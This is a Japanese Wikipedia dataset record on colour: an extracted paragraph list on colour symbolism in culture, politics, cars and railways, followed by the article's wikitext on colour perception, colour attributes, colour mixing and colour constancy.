"text": "いわゆるバリアフリーと呼ばれる動向において、色覚異常の者に対する配慮が必要であるという意見がある。他方で、眼科学においては、1型色覚および2型色覚に代表される多くのケースでは、日常生活に大きな支障をきたしていないという考え方が定説とされている。",
"title": "色と色覚"
},
{
"paragraph_id": 55,
"tag": "p",
"text": "標準化団体であるW3C は、HTML の色使いは色覚異常に配慮したコントラストを保つべきだとして綱領を出している。HTML は 16,777,216 色(2 色)が表現出来るが、環境に依って見え方は左右される。256 色環境で Windows と Macintosh に共通する 216 色(6 色)の事をウェブカラーと言い、この 216 色は見え方が環境の違いに左右され難いため、使用が推奨されている。",
"title": "色と色覚"
},
{
"paragraph_id": 56,
"tag": "p",
"text": "一般に、色は、生活や文化、産業や商業、デザインや視覚芸術の重要な要素であり、ある「様式」「作風」「文化」の特徴の一つに、特定の色の使用、特定の色の組み合わせ、色と結び付いた意味などが含まれている場合も多い。",
"title": "文化における色"
},
{
"paragraph_id": 57,
"tag": "p",
"text": "色名とは色の名のことである。基本色名、系統色名、固有色名などがある。あらゆる文化には、RGB や CMY と同一視出来ない、それぞれの文化的な原色がある。それはその文化の背骨となっている言語の中での、最も古い色名からたどれる。そのような色名は基本色名と呼ばれる。特別な名前が付けられた色や、また名前の付けられていないような色もあるが、それらは全て基本色名で言い換える事ができる。例えば、「蘇芳色(すおういろ)」は基本色名の「赤」と言い換えることができるし、空の色や海の色などをまとめて「青」と呼べる。",
"title": "文化における色"
},
{
"paragraph_id": 58,
"tag": "p",
"text": "色彩は様々な感情を表現したり、事物を連想させることがある。国や文化などによって違いはあるが、一般的な印象は次のようなものである。しかし、今日では喪服は黒が一般的だが江戸時代までは白が一般的だったように、時代や文化による影響も大きい。",
"title": "文化における色"
},
{
"paragraph_id": 59,
"tag": "p",
"text": "青は男、赤は女を意味するという認識は日本のみならず世界の国々が有しているという調査結果がある。",
"title": "文化における色"
},
{
"paragraph_id": 60,
"tag": "p",
"text": "職種、階層、貧富を言い表す際にも色が用いられることがある。例:ホワイトカラー(事務職)・ブルーカラー(肉体労働職)、ブルーブラッド(貴族。首筋が日焼けせず静脈が見える人間)・レッドネック(白人の肉体労働者。屋外労働で首筋が赤く日焼けしていることから。アメリカ南部者)・ホワイトトラッシュ(貧乏な白人。ただしレッドネックが白人の男を指すのに対し、こちらは女を限定することもある)",
"title": "文化における色"
},
{
"paragraph_id": 61,
"tag": "p",
"text": "政治の世界においては、色が特定の政治的な立場を現すことがよくある。",
"title": "文化における色"
},
{
"paragraph_id": 62,
"tag": "p",
"text": "赤は左翼・社会主義・共産主義を形容する色としてよく使われ、党派的にも容共で政府・資本家に反く側を表す。一説には、1848年革命やパリ・コミューンの時に、革命軍が掲げていた三色旗が血に染まって赤くなったから、左翼的立場を形容するのに赤を使うようになったとされる。",
"title": "文化における色"
},
{
"paragraph_id": 63,
"tag": "p",
"text": "白は右翼・反共主義・王党派・復古勢力を指す色として使われる。反共で政府・資本家に親しい側を指す。フランスの王党派が使い始めたのが最初で、フランスのブルボン家の白百合紋章に由来する。以来、反革命軍は白旗を目印として、右翼的立場を形容するのに白を使うようになった。白系ロシア人、白色テロなど。",
"title": "文化における色"
},
{
"paragraph_id": 64,
"tag": "p",
"text": "黒はアナキズムを象徴する色として使われる。日本では、天皇の臣下を意味する色として利用される事があった。また、しばしばファシズムの象徴として使われる。ベニート・ムッソリーニのファシスト党は、制服の色として使った。",
"title": "文化における色"
},
{
"paragraph_id": 65,
"tag": "p",
"text": "青は保守主義を形容する。",
"title": "文化における色"
},
{
"paragraph_id": 66,
"tag": "p",
"text": "黄色は労資協調主義や自由主義・リベラル派を形容する。御用組合は俗に「黄色組合」とも言われ、黄色は容共かつ政府・資本家に親しい党派を表す。",
"title": "文化における色"
},
{
"paragraph_id": 67,
"tag": "p",
"text": "緑は環境保護派や「緑の党」を形容する色として広く使われている。イスラムを象徴する色としても利用される。",
"title": "文化における色"
},
{
"paragraph_id": 68,
"tag": "p",
"text": "茶色や褐色は独裁主義やナチズムを形容する。これは、ナチ党の突撃隊(SA)の制服にちなむ。また、茶色の代わりに、赤と黒の組み合わせで示される場合もある(例:クメール・ルージュ)。",
"title": "文化における色"
},
{
"paragraph_id": 69,
"tag": "p",
"text": "国旗には、アイルランドの国旗などのように、各色が意味を持っており、その組み合わせと配置で国家の在り方を示している場合がある。",
"title": "文化における色"
},
{
"paragraph_id": 70,
"tag": "p",
"text": "また、レインボーフラッグのように、複数の色を組み合わせること自体で政治的主張を表わす場合もある。",
"title": "文化における色"
},
{
"paragraph_id": 71,
"tag": "p",
"text": "日本では、JAPAN FASHION COLOR ASSOCIATION (JAFCA) が毎年流行色を決めている。",
"title": "文化における色"
},
{
"paragraph_id": 72,
"tag": "p",
"text": "自動車の外板色の好みには、その土地の気候風土や文化が関わっており、自動車メーカーでは仕向地ごとの色の設定や生産割合を細かく決めている。近年はグローバル化が進んで均されて来てはいるが、地域的な差は高級車では少なく、大衆車で顕著であった。車種やカテゴリによっても傾向に違いはあるが、各仕向地の大まかな嗜好としては、",
"title": "文化における色"
},
{
"paragraph_id": 73,
"tag": "p",
"text": "自動車業界では自動車メーカーの都合や広告代理店の仕掛け、塗料メーカーの技術開発などで、外板色の流行が繰り返されてきた。日本の販売統計(発売後のプレスリリースには、購入層別、グレード別などの他、色別の販売台数比率も掲載されている。)では、バブル期などの好景気にはパール、濃色系のマイカやメタリック、鮮やかなソリッドカラーを中心に非常に多様となり、ツートーンカラーの設定も多いが、不景気になると白と銀(灰色系メタリック)に偏る傾向があり、メーカーも白、銀、紺などに色数を絞る。この時期にはスポーツカーなどの趣味性が強く、特徴的な色が設定されることの多い車種も、生産を減らすか、廃止に追いやられる場合が多い。一方、軽自動車やコンパクトカーのうち、可処分所得の高い女性層に向けた車種では、景気動向に影響されながらも(色の追加と廃止を頻繁に繰り返し、全体の色数を減らしてコストを抑える)多様な外板色が設定されている。",
"title": "文化における色"
},
{
"paragraph_id": 74,
"tag": "p",
"text": "塗料としての性質は、カーボンを含む黒は耐久性・耐候性に優れ、焼付け時の熱吸収が良く、乾燥・硬化が速い(フォード・モデルTを参照)。顔料の粒子が大きい白はそれに次ぐ耐久性・耐候性を持つ。隠蔽力もこの順に高く、ソリッドカラーの場合、これらの色は低コストでもあり、公用車や社用車、商用車にこれらの色が多い理由にもなっている。ハイソカーブームで人気となったスーパーホワイトは、当初高額車のみに設定されていた。この場合専用の白い下地塗料を用意する必要はあるが、車両価格に対し、塗料と塗装のコストの割合は低くなり、利益率が増す。",
"title": "文化における色"
},
{
"paragraph_id": 75,
"tag": "p",
"text": "逆に黄、橙、赤は隠蔽力が低く、発色を良くする場合には専用のサーフェーサーを用いる。これらの色は耐候性も低く、退色が目立ちやすい。",
"title": "文化における色"
},
{
"paragraph_id": 76,
"tag": "p",
"text": "ユニバーサルデザインの一環として、鉄道路線ごとに色を分けたラインカラーの導入が増えている。",
"title": "文化における色"
},
{
"paragraph_id": 77,
"tag": "p",
"text": "車体色はその鉄道会社を表すものであったが、維持コスト低減に有利なステンレス車両の普及やアルミ車両の無塗装化が進み、多くの車両がフィルム帯を貼付けるのみとなっている。この帯色はラインカラーの表示を兼ねる場合もある。",
"title": "文化における色"
},
{
"paragraph_id": 78,
"tag": "p",
"text": "企業や団体などの組織を象徴する色をコーポレートカラーと言う。大学(その他学校法人)を象徴する色をスクールカラーと言う。音楽活動を行うグループのメンバー個々に定義づけられた色のことをメンバーカラーと言う。",
"title": "文化における色"
}
]
| 色は、可視光の組成の差によって感覚質の差が認められる視知覚である色知覚、および、色知覚を起こす刺激である色刺激を指す。 | {{pp-vandalism|small=yes}}
{{Otheruses}}
{{Redirectlist|色彩|色彩の理論|色彩論|[[坂本真綾]]の楽曲「色彩」|幸せについて私が知っている5つの方法/色彩|yamaの曲|色彩 (yamaの曲)}}
[[File:HLSColorSpace.png|thumb|[[色相環]]]]
{{色}}
{{読み仮名|'''色'''|いろ}}は、[[可視光]]の組成の差によって[[クオリア|感覚質の差]]<!-- クオリアとはしない -->が認められる視知覚である色知覚、および、色知覚を起こす刺激である色刺激を指す<ref name="chijiiwa">『色彩学概説』 千々岩 英彰 東京大学出版会</ref>。
== 概説 ==
色の認識には、光源・物体・視覚の三要素が必要である<ref>{{Cite book |和書 |author=松本 英恵|year=2019 |title=人を動かす「色」の科学|publisher=サイエンス・アイ新書|pages=21}}</ref>。
色と光に何らかの関係があることは古くから知られており、[[アリストテレス]]は「色は光と闇、白と黒の間から生じる」と述べている<ref name="matsumoto20">{{Cite book |和書 |author=松本 英恵|year=2019 |title=人を動かす「色」の科学|publisher=サイエンス・アイ新書|pages=20}}</ref>。しかし、色の本質が明らかになるのは20世紀になってからである<ref name="matsumoto20" />。現代科学では色は目の前にあるというより色彩の認識として存在すると考えられている<ref name="matsumoto20" />。
[[色覚]]は、目を[[受容器]]とする[[感覚]]である[[視覚]]の[[機能]]のひとつであり、色刺激に由来する知覚である色知覚を司る。色知覚は、[[質量]]や[[体積]]のような機械的な[[物理量]]ではなく、[[音の大きさ]]のような[[心理物理量]]である。例えば、物理的な対応物が擬似的に存在しないのに色を知覚する例として、[[ベンハムの独楽]]がある。同一の色刺激であっても同一の色知覚が成立するとは限らず、前後の知覚や観測者の状態によって、結果は異なる。
== 色の様相 ==
=== 色の分類 ===
==== 物理学上の分類 ====
色は物理学上では光源色と物体色に大きく分けられる<ref name="matsumoto26">{{Cite book |和書 |author=松本 英恵|year=2019 |title=人を動かす「色」の科学|publisher=サイエンス・アイ新書|page=26}}</ref>。
; 光源色
: 太陽や電球、ネオンサインなどのように光源が発する光の色のことを光源色という<ref name="matsumoto26" />。
; 物体色
: 物体に光を当てた時に認識できるその物の色のことを物体色という<ref name="matsumoto26" />。物体色には表面色(反射色)と透過色がある。表面色(反射色)は[[リンゴ]]の表面の赤色のように物体に光が当たった際に特定の波長の光のみが反射されることでもたらされる(白の場合はすべての光を反射し、黒の場合はすべての光を吸収する)<ref name="matsumoto26" />。透過色は[[メロンソーダ]]の緑色のように半透明の物体を光が通過する際に吸収されずに透過した特定の波長の光によってもたらされる<ref name="matsumoto26" />。
==== 色彩学上の分類 ====
炎や電球が写り込んだ写真では実際にそこから光を放射しているように見えるなど、実際の色の認識は光源色と物体色では説明できないことが知られている<ref name="matsumoto30">{{Cite book |和書 |author=松本 英恵|year=2019 |title=人を動かす「色」の科学|publisher=サイエンス・アイ新書|page=30}}</ref>。そのため色彩学では面色と表面色という色の見え方の違いが重要とされている<ref name="matsumoto30" />。
; 面色
: 視界に入る一面が青空のときのように位置関係や距離が不明瞭で奥行きのない二次元の色の見え方<ref name="matsumoto30" />。
; 表面色
: 通常、物体の表面に現れているもので位置関係や距離などが明瞭に認識できる色の見え方<ref name="matsumoto30" />。
=== 色の三属性 ===
色の見えは光源や物体によって変化するが、色味とその濃淡([[強度]])や明暗を具えている点で共通する。これは、'''[[色相]]'''({{en|Hue}})・'''[[彩度]]'''({{en|Saturation・Chroma}})・'''[[明度]]'''({{en|Value・Brightness}})と呼ばれる。色相・彩度・明度は合わせて'''色の三属性'''と呼ぶ<ref name="chijiiwa" />。[[色空間]]の一つ'''[[HSV色空間]]'''({{lang-en-short|HSV model}})は、この三つの成分からなる。
白や灰色、黒の[[グレースケール]]は、明度で区別され、色相を含まず彩度が0である。このような色を'''無彩色'''と呼ぶ。グレースケール以外の色は三属性すべてを持つ'''有彩色'''である<ref>{{Cite book|和書
|author=尾登誠一
|title=色彩楽のすすめ
|publisher=[[岩波書店]]
|series=岩波アクティブ新書
|year=2004
|ISBN=4-00-700101-4
|chapter=3 色の世界を知る
|page=34
}}</ref>。<!-- 「しかしながら実際には、白や黒、グレーであってもふつう幾らかの彩度を示す<ref>[http://www.daicolor.co.jp/color/color_01.html 大日精化工業株式会社 色彩用語解説]</ref>ので、いわゆる白や黒、グレーをして、色の三属性を一つしか持たない色とするのは不適切である」灰色、黒をほかの色の混合で表現している場合には、見た目には灰色、黒のように感じても彩度がある色についての議論を混同している可能性がある。URLは次のように変更になっている。http://www.daicolor.co.jp/rd/color/glossary/index.html。-->
[[血色]]などは[[体調]]などに対する[[反応]]に過ぎず、色ではない。上記の様に、色の三属性を全てを具えたものが色であり、「色には明度が無い」とか「白や黒は色ではない」などと主張している人たちが、志向しているものは色ではない。
==== 色相 ====
{{Main|色相}}
色相は'''[[赤]]'''・'''[[オレンジ色|橙]]'''・'''[[黄色|黄]]'''・'''[[緑]]'''・'''[[青]]'''・'''[[紫]]'''といった色の様相の相違である。「[[ピンク色]]」「[[レモン色]]」「[[ライムグリーン|ライム色]]」「[[空色]]」「赤茶色」「薄紫色」「[[肌色]]」「[[水色]]」などの色合いを表現する[[名詞]]と知覚内容を表す[[述語]]、そして、[[固有色名]]は色相を表現する[[語彙]]ではない。
色相は特定の[[波長]]が際立っていることによる変化であり、際立った波長の範囲によって、[[定性的]]に記述できる。ただし、常に同じ[[帯域]]が同じ色に見える訳ではない。連続して変化していく色味を円環上に並べたものを'''[[色相環]]'''と言う。白、黒、グレーを除く全ての色は、色相環に配置される色相のいずれかに属する。
色相の連続的な変化を示す例を3つ挙げる。
{|cellpadding="6" cellspacing="3"
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|-
| colspan="12" |
|-
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|style="background:#800000"|
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|}
==== 彩度 ====
{{See also|彩度}}
彩度は色の鮮やかさを意味する。物体の分光反射率が平坦になる程、彩度は低くなる。また、色相によって彩度が高いときの明度が異なる。
彩度の連続的な変化を示す例を3つ挙げる。
{|cellpadding="6" cellspacing="3"
|width="20px" style="background:#800000"|
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|-
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|}
==== 明度 ====
{{main|明度}}
明度は色の明るさを意味する。明度の高低は、物体の[[反射率]]との相関性が高い。光の明暗に関して、明るさ (brightness, luminousity) があるが同様の知覚内容を指していると言える。色相に属さず、明度の違いによって区別される、白、黒、グレーなどの色を[[無彩色]]という。対して、色味を僅かでも持つ色は[[有彩色]]と呼ばれる。[[純色]]の中では、ニュートラルな黄色が最も明度が高く、ニュートラルな青は最も明度が低い。
明度の連続的な変化を示す。
{|cellpadding="6" cellspacing="3"
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|width="20px" style="background:#323232"|
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|}
=== 特殊な色 ===
[[File:Gallium1 640x480.jpg|thumb|180px|right|[[ガリウム]] の結晶。<br>分光反射率はよく似通っているが、光の経路や[[光度 (光学)|光度]]によって色は異なる。]]
[[File:SHAKUDO.jpg|thumb|180px|色上げ前の赤銅の板。]]
蛍光色や[[金属光沢]]を有する色は特殊な色として挙げることができる。なお、ここに掲げる色、特に特定条件における特定の部分の色を色の三属性で指定することは可能だが、指定される条件への依存度が大きく、色の指定としては有効ではない。
==== 蛍光色 ====
{{Main|蛍光}}
蛍光[[顔料]]には、昼光[[蛍光顔料]]([[有機化合物|有機]]蛍光顔料)と[[燐光]]顔料([[無機化合物|無機]][[蓄光]]顔料)がある。昼光蛍光顔料は[[蛍光染料]]の加工品である。昼光蛍光顔料は紫外線も含め吸収した光エネルギーの波長を変え、通常の反射光と合わせて反射する。このため、高い[[明度]]、高い[[彩度]]を示す。波長の移動は、長波長側に向かって起こるので、蛍光色は暖色に多い。燐光顔料は、残光性がある物で、蓄光顔料とも言う。有機蛍光顔料とは異なり、顔料そのものの色は弱く、夜光顔料に利用される。
==== 構造色 ====
{{Main|構造色}}
光の波長あるいはそれ以下の微細構造による干渉や回折、散乱により物体が色付く現象を[[構造色]]と呼ぶ。構造色として有名なものに、昆虫の[[モルフォチョウ]]、[[コウトウキシタアゲハ]]、[[タマムシ]]、他に[[カモ]]の羽根、宝石の[[オパール]]などがある。[[油膜]]や[[コンパクトディスク]]の記録面の虹色も構造色といえる。
==== 金属色 ====
{{Main|金属光沢}}
金属の粉末で金属光沢を有する粉末を顕色成分とする塗料などの色を金属色と称することがある。金属光沢は、金物一般に特有な、滑らかな表面に見られる光を反射する性質のことである。
== 色彩 ==
類語に{{読み仮名|'''色彩'''|しきさい}}がある。光の刺激による[[視覚]]系の[[感覚]]で物体の表面がある部分の[[波長]]の[[光]]を[[反射 (物理学)|反射]]することによる「物体色」と、[[光源]]から発する一定の波長の光による「光源色」とに大別される。[[デザイン]]の対象となるのはおもに物体色で、その見え方は、[[色相]]・[[明度]]・[[彩度]]の[[三属性]]で表される。
[[日本産業規格]](JIS)<ref group="注">{{cite jis|Z|8105|2000|name=色に関する用語}}11頁。</ref>においては色と同義語である<ref>『新編色彩科学ハンドブック』日本色彩学会 東京大学出版会</ref>ものの、彩り、傾向などを指す語として知られる<ref>『広辞苑 第六版』岩波書店</ref><ref group="注">他方で、[[日置隆一]]は『新編色彩科学ハンドブック』において、「[[物体]]という[[概念]]が付随」すると主張している。</ref>ことから、日常語のみならず、色を狭義に捉えようとする、[[科学]]、[[工業]]などの[[文脈]]においても広く色の語が用いられている<ref group="注">『新編色彩科学ハンドブック』などの参考文献を参照。ただし、著書の表題のように例外もある。</ref>。
ある対象の地域・地区・施設などの色彩に関する計画を周辺の自然環境、人工環境に配慮して行うことを色彩計画という。
自然、地形、景観的特長を把握するとともに、対象の種別を考慮して計画を進めていく必要がある。また、計画される色彩が整備内容と整合するか、心理的な印象と整合するかなどの検証も求められる。
景観対象がもつ色彩的構成がその景観の印象を決定づけるような場合の表現を色彩景観と呼ぶが、「[[空]]」などはその典型例であり、落ち着いた[[景観]]、華やぐような景観など、人の感情に訴える風景を生み出すうえで色彩の果たす役割は大きい。
また、2つ以上の色を組み合わせて「間 (ま)」をつくり出すことを色彩調和と呼び、「まとまりのある美しさ」人の[[感情]]の快・不快に関係し、色彩調和論も著者の数だけの法則があるといわれている。
== 色と色覚 ==
[[File:CRT phosphors.png|right|thumb|320px|赤・緑・青の[[蛍光]]物質の発光スペクトル。カラー[[ブラウン管]]の「加法三原色」に使われているもの]]
[[File:Spectrum4websiteEval.png|thumb|320px|[[スペクトル]]([[色収差]])]]
[[物理学]]的には、[[光学]]を基礎とし、色の変化は、物体と物体を照らす光との相関を用いて説明される。物体に[[入射]]する何らかの波長の光が観測者の方向へ[[反射 (物理学)|反射]]([[鏡面反射|正反射]]・[[拡散反射|乱反射]]を含む)する際に、その物体の[[物性]]に応じた特定の波長のみが反射されそれ以外は[[吸光|吸収]]される(=波長に応じ[[反射率]]が異なる)という現象が起こる。観測者には反射された光だけが届くため、その波長に基づき判断される色が、「その物体の色」として認識される(つまり、光そのものに色という性質はなく、光を受けた[[器官]]が色を作っている)。
またそのように観測者に届く光とそれに対する認識とに左右されるため、一般的な色は、人間の[[視覚]]すなわち[[可視光線]]の範囲内を基準として表現されている。逆に言えば、可視光線の範囲を超えた波長の光について観測すると、可視光域で見た場合に比べて全く別の「色」や模様になっている物体もある。例えば[[チョウ]]の羽根の模様は[[紫外線]]領域では人の肉眼で見る場合とはまた異なる鮮やかな模様を描き出し、真っ黒に焼け焦げた[[新聞紙]]などは[[赤外線]]領域のある波長では燃えた紙とインクが燃えた部分とで反射率が異なるため書かれていた元の内容を読むことが出来る。
[[生理学]]的に言うと、[[網膜]]内にある3種類の[[錐体細胞]]が吸収する可視光線の割合が色の感覚を生む。これらの錐体細胞は、それぞれ長波長・中波長・短波長に最も反応する[[タンパク質]](オプシンタンパク質)を含み、順に'''L錐体・M錐体・S錐体'''と呼ばれる。[[霊長類]]におけるL錐体とM錐体はかつて2種類だった色刺激の受容器の片方が[[進化]]の過程で分岐したものであるとされており、分光感度特性が近い。錐体が3種類あることはそのまま3種の波長特性を構成する元となるので、'''L , M , S '''の各錐体を'''赤・緑・青'''でなぞらえることもある。
ある人が視覚を通して受け取る光の波長が変化すると、それに伴って変化する視覚経験の内容が色であると言える。ただし、正常の色覚を持つ者以外に、正常の色覚をもつ人と色知覚が部分的に整合しない人([[色覚異常]]<ref group="注">錐体細胞の数が健常者よりも少ないために色が異なって見える。</ref>)、[[色覚異常#先天色覚異常の分類のまとめ|1色覚]](全色盲)や[[全盲]]など色覚を持たない人もいるため、この事例にも例外がある。しかしながらこの事態に限っては、色覚特性があっても知覚可能な波長にあっては事情は同様である。また、1色覚であっても、波長の長短の知覚が成立する場合があり、どちらかといえば長波長を好む傾向がある。
無色の紙のように、全波長において高い反射率で乱反射する物体は白と呼ばれる。一方、全波長において反射がほとんど無い場合、その色は黒と呼ばれる。近似的な[[黒体]]は、例えば中空の物体に微小な開口部を設けることで実現できる。この場合、中空の部分に入った光はほとんど吸収され外に出てこないので、反射率はほぼゼロになる。
=== 色にまつわる見解 ===
色を説明する場合に、様々な色彩理論を[[集合]]的に概説する場合がある。代表的なものに三原色と反対色性がある。色彩にまつわる現象は様々あり、[[照度]]や[[輝度 (光学)|輝度]]、[[反射率]]の変化に従って、見える色も変化する。[[ベツォルト・ブリュッケ現象]]や[[アブニーシフト]]など様々な見解が知られている。
==== 三種の錐体細胞と三原色 ====
[[File:Cone-response-en.png|thumb|320px|人間の[[錐体細胞]] (S, M, L) と[[桿体細胞]] (R) が含む視物質の吸収スペクトル]]
人間の視覚が色を認識する際には、その光の分光分布を直接計っているのではなく、[[眼球]]の[[錐体細胞]]に含まれる3つの色素が光を吸収する割合を計っているに過ぎない。そのため、独立した複数の色を合成する事で人間に別の色を感じさせる事ができる。
例えば、黄の波長の光は、赤の波長の光と緑の波長の光の組み合わせによってほぼ同じ刺激を与えることが可能であり、黄は赤と緑の組み合わせの光として表現出来る。そしてこの場合、黄の波長だけが眼球に入っている場合と、赤の波長と緑の波長が組み合わされて眼球に入っている場合を人間は区別できない。
[[ディスプレイ (コンピュータ)|ディスプレイ]]、[[印刷]]、[[絵具]]など、色を表現するメディアは様々である。これらを[[光源]]、もしくは、透過光および反射光に着眼して分類した場合、特徴的な色の傾向が異なる。これを便宜的に色に着眼してグルーピングして、[[加法混合]]と[[減法混合]]、[[RGBW]]と[[CMYK]]、[[RGB]]と[[CMY]]など、いくつかに分けて説明する場合がある。
原色はどの色なのかと問う人がいるが、実際に選択される[[塗料]]や[[インク]]、あるいは[[カラーフィルター]]その他が形成する「原色」の色合いが、常に特別に優越される色合いだという訳ではない。減法混合においては彩度が高い状態において明るいものにある種の優位性が伴う。効果的に色を表現できる着色材料は重宝されるが、一定の方向性、共通性はあってもその色相や色調は一致しない。原色の説明はあくまで単純化された抽象論に過ぎない。その上、理想的な原色は実在しない。
==== 色の混合 ====
ここで挙げるのはあくまで、一般的な色覚を持つ人間を基準にした色の混合の様態である。二色型の色覚を持つ人は、2つの完全な[[原色]]<ref group="注">ただし、完全な原色は実在しない。</ref>でその人が知覚可能な全ての色を合成することができると考えられており、4つないしそれ以上の錐体(もしくはそれに相当するもの)を持つ生物にとっては、4つないしそれ以上の「原色」が必要になる。また、[[ヘビ]]の赤外線検知器であるピットの情報は脳の視覚野に入っており、視覚情報として処理されていることが証明されている。つまり、ピットを持つヘビ([[ニホンマムシ|マムシ]]など)にとっては温度情報もまた原色の一つであろう。人間は[[偏光]]を[[ハイディンガーのブラシ]]と呼ばれる現象を除いてほとんど知覚できないが、水中生物の一部や[[昆虫]]など、知覚できる生物が存在する。それらは透明なものを偏光の回転程度の違いにより見ることができたり、曇り空でも太陽の正確な方向がわかると考えられている。そのような生物には、人間が実際の色に近いと判断する写真も、実物と明らかに異なる色合いに見えると考えられる。
===== 加法混合([[RGB]]) =====
[[File:AdditiveColorMixiing.svg|thumb|200px|[[色光の三原色]]による[[加法混合]]]]
有色の光線によって色を演出する場合、光を加える形で色を合成する([[加法混合]])。このとき、積極的な発光によらない、黒さ(暗さ)を表現できる仕組みが求められる。この結果、効率的に光の透過を抑えることが出来る[[塩素]]を含む顔料が採用される場合が多くなる。
白色の光を合成するための波長を「'''光の三原色'''」や「'''色光の三原色'''」と言い、下記の三色を用いる。カラーフィルターを用いる場合に採用される[[顔料]]の一例を上げると、赤がPigment Red 254に少量のPigment Orange 71、緑がPigment Green 36に少量のPigment Yellow 138、青がPigment Blue 15:6に少量のPigment Violet 23、などである。これはあくまで例であり、これ以外の顔料の組み合わせは使用されている。以前は「橙」「緑」「紫」の組み合わせも試みられたが成功しなかった。カラーフィルターのスペクトルは下記の波長とは性格が異なり、一致しない。
* <span style="color:#FF0000">R</span>:[[赤]](波長: 625-740 [[ナノメートル|nm]] [[周波数]]: 405-480 [[テラヘルツ|THz]])
* <span style="color:#00FF00">G</span>:[[緑]](波長: 500-565 nm 周波数: 530-600 THz)
* <span style="color:#0000FF">B</span>:[[青]]([[紫]]みの[[青]]、[[群青色]])(波長: 450-485 nm 周波数: 620-665 THz)
===== 減法混合([[CMYK]]) =====
[[File:Synthese-.svg|right|thumb|200px|[[色料の三原色]]による[[減法混合]]]]
一方、物体の表面を'''特定の色'''にするために[[インク]]などを塗る場合、元の光を遮る形で色を合成する([[減法混合]])。その合成の元になる色は一般に「'''色の三原色'''」や「'''色料の三原色'''」と言われ、[[シアン]]、[[マゼンタ]]、[[黄色|イエロー]]の三色(下掲)を用いる。この三つの材料を混合すれば、光の三原色の場合と反対に黒を作ることが出来る。しかし、この三色によって白を構成することは出来ない。
故に、[[印刷]]などに用いる場合には白色素材の表面に使用することが前提となる上、白色の併用が必要になる場合もある。また、透明性の高い着色材(colorant)を使用しても、三原色の重ねや混合で成立する黒は理想とは異なり、純黒にはならない。このため、より自然に色を現す目的で黒色の着色材が併用され、これは一般に[[CMYK]](Cyan, Magenta, Yellow, Key plate) と呼ばれる。
* <span style="color:#00AEEF">C</span>:[[シアン (色)|シアン]](緑みの青、藍)(例えば、[[フタロシアニン]]青、Pigment Blue 15:3)
* <span style="color:#EC008C">M</span>:[[マゼンタ]](赤紫、紅紫色、紅)(例えば、[[キナクリドン]]赤、Pigment Red 122<ref group="注">印刷技術で多用されるアゾ赤よりも色相的にマゼンタに近い。出典 :『有機顔料ハンドブック』 橋本勲 カラーオフィス 2006.5</ref>)
* <span style="color:#FFF500">Y</span>:[[黄色|イエロー]](黄色)(例えば、[[アゾ]]黄、Pigment Yellow 74やPigment Yellow 128など<ref>[http://www.dic-global.com/ja/r_and_d/review/pdf/dic_r_and_d_2002_review03.pdf インクジェット用顔料インキにおける顔料分散]</ref>)
* <span style="color:#000000">K</span>:[[黒|ブラック]](黒)
==== 反対色性 ====
光の混合においては、橙と[[青]]によって[[マゼンタ]]などの[[紫]]の色相が得られ、橙と[[緑]]を混ぜると[[黄色|黄]]の色相を得ることが可能である。<!--色彩と色相を区別-->このとき、紫には元の赤味も青味もあるが、黄においてこの印象は寡少である。黄には元の色彩(赤、緑)がないと主張する人がいる。しかし、現実に得られる黄は赤気味であったり、緑気味であったりする。赤気味でも緑気味でもない「理想の黄」が現実に得られるとは断言できない。また、黄と青から白を作る場合も、元の色味が極度に減少する。このような色味を打ち消しあう性質を'''反対色性'''、色自体についてはもう一方の色の[[反対色]]、[[補色]]という。ただし補色という語は厳密な反対色を意味しない場合が多い。
反対色性は網膜から大脳へ効率的に色情報を伝達しようとするために生じると考えられている。なぜなら、それぞれの色は錐体応答間でも高い相関があるからである。そのため、相関が低くなるよう線形変換し、冗長性を低減している。
=== 色覚の認知と比較 ===
同一の[[個体]]の色覚は、ふつう安定していると考えられている。光源が多少変化しても同じ物体の色が同様に見えるのは、色覚の恒常性があるからである。
複数の個体間で知覚される色がどのような色であるかを直接すり合わせることは出来ないが、人間同士であれば[[言語]]や[[カラーチャート]]を用いて[[情報交換]]することが可能である。他方で、人間が様々な生物の色覚を知ろうとする試みがあり、色覚の有無や性質が研究されている。
==== 色覚の恒常性 ====
人間が光線の波長そのものを知覚しているのではなく三種類の錐体の出力比を知覚していることを述べた。これだけでは例えば、極端に黄色い照明の下では全てのものが黄色く見えてしまうはずだが、実際には色味のある照明の下でもその照明に支配されない認識が得られる。これを色覚の恒常性という。
人間の視覚には慣れや知識などによる補正があり、多少の光源の色度の違いは補正される。このため昼と夕方とでは日光の波長分布が違うにもかかわらず、物体は同じ色に見える。[[太陽光]]と異なる波長分布を持つ照明下でも「白色」のものは白色と感じられる。例えば、「[[白熱灯]]」の波長分布はその名に反してかなり赤に偏っているが、その照明下でも白い紙は白く見える。周囲の色々なものの見え方からそのときの照明条件を推定し、その推定に従って色の見え方を補正していると考えられる<ref>[http://www.pri.kyoto-u.ac.jp/brain/brain/25-7/index-25-7.html 色の恒常性 - 脳の世界:京都大学霊長類研究所・行動発現分野(旧URL)]<br />[http://web2.chubu-gu.ac.jp/web_labo/mikami/brain/25-7/index-25-7.html 色の恒常性 - 脳の世界:中部学院大学 三上章允(新URL)]</ref>。
太陽光と同じ波長分布の光が最も自然な白色とされるが、それより青成分の強い光を「爽やかな白」と感じる人が多い。故に多くの[[ディスプレイ (コンピュータ)|ディスプレイ]]上に表現される白色は純白より青味が強い色になっている。そのような青味の白も極端でなければ、日常的に白を吟味していないような多くの人の眼には「青」でなく「爽やかな白」と感じられる。
夜間など十分な光の得られない環境では、錐体の機能が低下する。暗所で働く桿体は錐体と比較して赤色光への感度が低いため夜間には赤と黒の識別が困難になるのだが、そのような環境にあっても赤色であると知っているものは赤く見える場合がある。例えば、黒く塗った林檎を暗い環境下で見せると赤く見える、といったことが起こる。
太陽光線の波長分布は季節や時刻によって異なる。また、周囲に反射した光によっても影響される。例えば周りが青い物ばかりならば反射光によって環境光は青さが増す。だが、周囲の色に引きずられて物の色が違って見えては困るであろう。色の恒常性は、そのような場合でも出来るだけ一定の色覚を保つために発達したとの考えは、ある自然さを持っている。ただし、この補正にも限度があり、極端に偏った波長分布では補正しきれない。
==== 色覚の共有 ====
同じ組成の光を受けた場合でも、それをどのように知覚するかは人それぞれの目と脳の相関関係によって異なるので、複数の人間が全く同一の色覚を共有しているわけではない。同様に、ある人が同じ物を見ても右目と左目では角度や距離が異なり、見えた色も一致しない。他者の色知覚を経験する手段は存在せず、同一の色知覚を共有することも不可能である。
